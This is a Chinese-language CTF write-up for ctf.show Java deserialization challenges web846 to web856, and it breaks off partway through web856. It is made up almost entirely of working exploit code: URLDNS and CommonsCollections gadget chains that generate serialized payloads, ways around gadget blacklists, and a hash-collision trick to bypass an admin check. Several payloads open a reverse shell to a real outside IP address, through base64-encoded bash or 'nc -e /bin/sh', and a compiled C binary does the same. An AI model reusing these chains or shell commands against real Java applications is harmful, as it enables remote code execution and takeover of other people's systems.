在做题之前先说一件事,先打本地再打远程😎
web846
直接打urldns链即可,用的 jdk8u66
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| package org.example.cc;
import java.io.*;
import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.net.InetAddress;
import java.util.HashMap;
import java.util.Base64;
public class web846 {
public static void main(String[] args) throws Exception {
//String testUrl = "https://pgdyxc8a.requestrepo.com/";
String testUrl = "https://4a99d5da-d941-472d-bf4c-7c60c221bf96.challenge.ctf.show/";
byte[] payload = generatePayload(testUrl);
String base64 = Base64.getEncoder().encodeToString(payload);
System.out.println("[+] Payload Base64: " + base64);
System.out.println("[+] Payload 已生成: 字节数组");
System.out.println("[*] 开始反序列化...");
deserializePayload(payload);
}
private static byte[] generatePayload(String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, String> hashMap = new HashMap<>();
URL u = new URL(null, url, handler);
hashMap.put(u, url);
java.lang.reflect.Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(u, -1);
return serialize(hashMap);
}
private static void deserializePayload(byte[] bytes) throws Exception {
Object obj = unserialize(bytes);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return obj;
}
private static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
|

web847
java7,使用了commons-collections 3.1,直接打 CC1,本地然后换成弹shell的死活不成功,于是不用 LazyMap,用 TransformedMap,但是又出现了依赖不同的报错
1
| HTTP Status 500 - java.io.InvalidClassException: org.apache.commons.collections.map.TransformedMap; local class incompatible: stream classdesc serialVersionUID = 7023152445508377200, local class serialVersionUID = 7023152376788900464
|
索性直接用 ysoserial-all.jar 为依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
| package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class web847 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
// new InvokerTransformer("exec", new Class[]{String[].class},
// new Object[]{new String[]{"calc"}}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1NC4zNi4xNTIuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//outerMap.put("value", "yyy");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
byte[] data =serialize(handler);
String base64 = Base64.getEncoder().encodeToString(data);
System.out.println(base64);
//Object o = unserialize(data);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return obj;
}
}
|
web848
不让使用 TransformedMap,直接打 CC6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
| package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class web848{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
// new InvokerTransformer("exec", new Class[]{String[].class},
// new Object[]{new String[]{"calc"}}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1NC4zNi4xNTIuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "test2");
Map expMap = new HashMap();
expMap.put(tme, "test3");
outerMap.remove("test2");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);
byte[] data =serialize(expMap);
String base64 = java.util.Base64.getEncoder().encodeToString(data);
System.out.println(base64);
Object o = unserialize(data);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return obj;
}
}
|
web849
commons-collections 4.0 直接打 CC2,恶意类如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| package org.example.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Eval extends AbstractTranslet {
static {
try {
//Runtime.getRuntime().exec("calc");
Runtime.getRuntime().exec("nc 154.36.152.109 4444 -e /bin/sh");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {}
}
|
poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| package org.example.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class web849 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.example.cc.Eval.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
Field iMethodNameField = InvokerTransformer.class.getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer, "newTransformer");
byte[] data = serialize(queue);
String base64 = java.util.Base64.getEncoder().encodeToString(data);
System.out.println(base64);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}
|
有报错但是无所谓,因为我本地也有报错,成功getshell
web850
commons-collections 3.1,但是这个破玩意用 java7 就很傻逼,javassist 获得的Class字节码也有区别,我使用的 7u21,打的CC3,最终poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
| package org.example.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class web850 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.example.cc.Eval.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] fake = new Transformer[]{new ConstantTransformer(1)};
Transformer[] real = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class},
new Object[] {templates}
)
};
Transformer chain = new ChainedTransformer(fake);
Map inner = new HashMap();
Map lazy = LazyMap.decorate(inner, chain);
TiedMapEntry entry = new TiedMapEntry(lazy, "key");
Map exp = new HashMap();
exp.put(entry, "value");
lazy.remove("key");
setFieldValue(chain, "iTransformers", real);
byte[] ser = serialize(exp);
String base64 = toBase64(ser);
System.out.println(base64);
unserialize(ser);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(obj);
return baos.toByteArray();
}
private static void unserialize(byte[] bytes) throws Exception {
new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
}
public static String toBase64(byte[] data) {
char[] CA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
int len = data.length;
StringBuilder sb = new StringBuilder(((len + 2) / 3) * 4);
int i = 0;
while (i < len) {
int b0 = data[i++] & 0xFF;
int b1 = i < len ? data[i++] & 0xFF : -1;
int b2 = i < len ? data[i++] & 0xFF : -1;
sb.append(CA[b0 >>> 2]);
if (b1 != -1) {
sb.append(CA[((b0 & 0x03) << 4) | (b1 >>> 4)]);
if (b2 != -1) {
sb.append(CA[((b1 & 0x0F) << 2) | (b2 >>> 6)]);
sb.append(CA[b2 & 0x3F]);
} else {
sb.append(CA[(b1 & 0x0F) << 2]);
sb.append('=');
}
} else {
sb.append(CA[(b0 & 0x03) << 4]);
sb.append('=');
sb.append('=');
}
}
return sb.toString();
}
}
|
恶意类同样也需要修改 payload
1
| Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1NC4zNi4xNTIuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}");
|
web851
commons-collections 4.0,打 CC4(因为前面没打过)发现不行,用原始 CC7 发现缺少部分类,所以需要修改一下,将 LazyMap 换成 DefaultedMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
| package org.example.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class web851 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(new HashMap(), chain);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(new HashMap(), chain);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 2);
setFieldValue(chain, "iTransformers", transformers);
defaultedMap2.remove("yy");
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.example.cc.Eval.class.getName()).toBytecode()});
byte[] payload = serialize(hashtable);
String base64 = java.util.Base64.getEncoder().encodeToString(payload);
System.out.println(base64);
deserialize(payload);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
private static void deserialize(byte[] payload) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(payload);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
|
本地通了,但是好像不让用 TemplatesImpl,所以换成 Transformer 链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
| package org.example.cc;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class web851 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
// new InvokerTransformer("exec",
// new Class[]{String.class},
// new Object[]{"calc"})
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"nc 154.36.152.109 4444 -e /bin/sh"}),
};
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(new HashMap(), chain);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(new HashMap(), chain);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 2);
setFieldValue(chain, "iTransformers", transformers);
defaultedMap2.remove("yy");
byte[] payload = serialize(hashtable);
String base64 = java.util.Base64.getEncoder().encodeToString(payload);
System.out.println(base64);
deserialize(payload);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
private static void deserialize(byte[] payload) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(payload);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
|
web852–web853
和 web851 一致
web854
给出了黑名单,
1
2
3
4
5
6
7
8
9
| TransformedMap
PriorityQueue
InstantiateTransformer
TransformingComparator
TemplatesImpl
AnnotationInvocationHandler
HashSet
Hashtable
LazyMap
|
直接用 DefaultedMap 改一下 CC4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
| package org.example.cc;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class web854 {
public static void main(String[] args) throws Exception {
Transformer[] inert = new Transformer[]{ new ConstantTransformer(1) };
Transformer[] real = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// new InvokerTransformer("exec",
// new Class[]{String.class},
// new Object[]{"calc"})
new InvokerTransformer("exec", new Class[]{String.class},
new Object[] {"nc 154.36.152.109 4444 -e /bin/sh"}),
};
ChainedTransformer chain = new ChainedTransformer(inert);
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap = declaredConstructor.newInstance(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(defaultedMap, "foo");
BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
setFieldValue(bave, "val", entry);
setFieldValue(chain, "iTransformers", real);
byte[] data = serialize(bave);
String base64 = java.util.Base64.getEncoder().encodeToString(data);
System.out.println(base64);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}
|
web855
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
| package com.ctfshow.entity;
import java.io.*;
public class User implements Serializable {
private static final long serialVersionUID = 0x36d;
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private static final String OBJECTNAME="ctfshow";
private static final String SECRET="123456";
private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int magic = in.readInt();
if(magic==2135247942){
byte var1 = in.readByte();
switch (var1){
case 1:{
int var2 = in.readInt();
if(var2==0x36d){
FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
byte[] temp = new byte[1];
while((in.read(temp))!=-1){
fileOutputStream.write(temp);
}
fileOutputStream.close();
in.close();
}
break;
}
case 2:{
ObjectInputStream.GetField gf = in.readFields();
String username = (String) gf.get("username", null);
String password = (String) gf.get("password",null);
username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
User var3 = new User(username,password);
User admin = new User(OBJECTNAME,SECRET);
if(var3 instanceof User){
if(OBJECTNAME.equals(var3.getUsername())){
throw new RuntimeException("object unserialize error");
}
if(SECRET.equals(var3.getPassword())){
throw new RuntimeException("object unserialize error");
}
if(var3.equals(admin)){
Runtime.getRuntime().exec(shellCode);
}
}else{
throw new RuntimeException("object unserialize error");
}
break;
}
default:{
throw new RuntimeException("object unserialize error");
}
}
}
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}
@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}
}
|
就一个User类,身份验证为 admin 可直接命令执行,但是看了下 shellcode 并不可控,它是在给文件执行权限和执行文件,case1 可以写入文件,并且文件头固定为 elf,
1
2
3
4
5
6
| #include<stdlib.h>
int main() {
system("nc 154.36.152.109 4444 -e /bin/sh");
return 0;
}
//gcc 1.c -o poc
|
然后删除前四个字节,然后再xxd -g 1 -l 8 poc去看字节变化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import os
p = 'poc'
with open(p,'rb') as f:
data = f.read()
# 去掉前4字节
trim = data[4:]
with open(p,'wb') as f:
f.write(trim)
f.truncate(len(trim))
print('done, new size:', len(trim))
# 覆盖前 poc 前8字节:
# 00000000: 7f 45 4c 46 02 01 01 00 .ELF....
# done, new size: 33420
# 覆盖后 poc 前8字节:
# 00000000: 02 01 01 00 00 00 00 00 ........
# -rwxr-xr-x@ 1 admin staff 33K Nov 11 11:49 poc
|
根据User#readObject重写 writeObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| private void writeObject(ObjectOutputStream outputStream) throws IOException {
outputStream.writeInt(2135247942);
outputStream.writeByte(1);
outputStream.writeInt(0x36d);
File filename = new File("poc");
BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(filename));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(1024);
byte[] temp = new byte[1024];
int size = 0;
while((size = bufferedInputStream.read(temp))!=-1){
byteArrayOutputStream.write(temp,0,size);
}
bufferedInputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
outputStream.write(bytes);
outputStream.defaultWriteObject();
}
|
写入文件的poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| package com.ctfshow.entity;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class web855 {
public static void main(String[] args) throws IOException {
User user = new User("baozongwi", "123456");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}
|
case2 需要 hash 比较相等,但是又不能是一样的明文,碰撞一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| def hashcode(val):
h=0
for i in range(len(val)):
h=31 * h + ord(val[i])
return h
t="ct"
# t="12"
for k in range(1,128):
for l in range(1,128):
if t!=(chr(k)+chr(l)):
if(hashcode(t)==hashcode(chr(k)+chr(l))):
print(t,chr(k)+chr(l))
# ct dU
# ct e6
# ct f
# 12 /p
# 12 0Q
# 12 2
|
重写下 writeObject
1
2
3
4
5
| private void writeObject(ObjectOutputStream outputStream) throws IOException {
outputStream.writeInt(2135247942);
outputStream.writeByte(2);
outputStream.defaultWriteObject();
}
|
触发 poc 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| package com.ctfshow.entity;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class web855 {
public static void main(String[] args) throws IOException {
User user = new User("dUfshow", "0Q3456");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}
|
其中有个坑点就是需要用 linux 去编译,而不是 mac
web856
给出了源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
| package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;
public class Connection implements Serializable {
private static final long serialVersionUID = 2807147458202078901L;
private String driver;
private String schema;
private String host;
private int port;
private User user;
private String database;
public String getDriver() {
return driver;
}
public void setDriver(String driver) {
this.driver = driver;
}
public String getSchema() {
return schema;
}
public void setSchema(String schema) {
this.schema = schema;
}
public void setPort(int port) {
this.port = port;
}
public String getHost() {
return host;
}
public void setHost(String host) {
this.host = host;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public String getDatabase() {
return database;
}
public void setDatabase(String database) {
this.database = database;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
ObjectInputStream.GetField gf = in.readFields();
String host = (String) gf.get("host", "127.0.0.1");
int port = (int) gf.get("port",3306);
User user = (User) gf.get("user",new User("root","root"));
String database = (String) gf.get("database", "ctfshow");
String schema = (String) gf.get("schema", "jdbc:mysql");
DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof Connection)) return false;
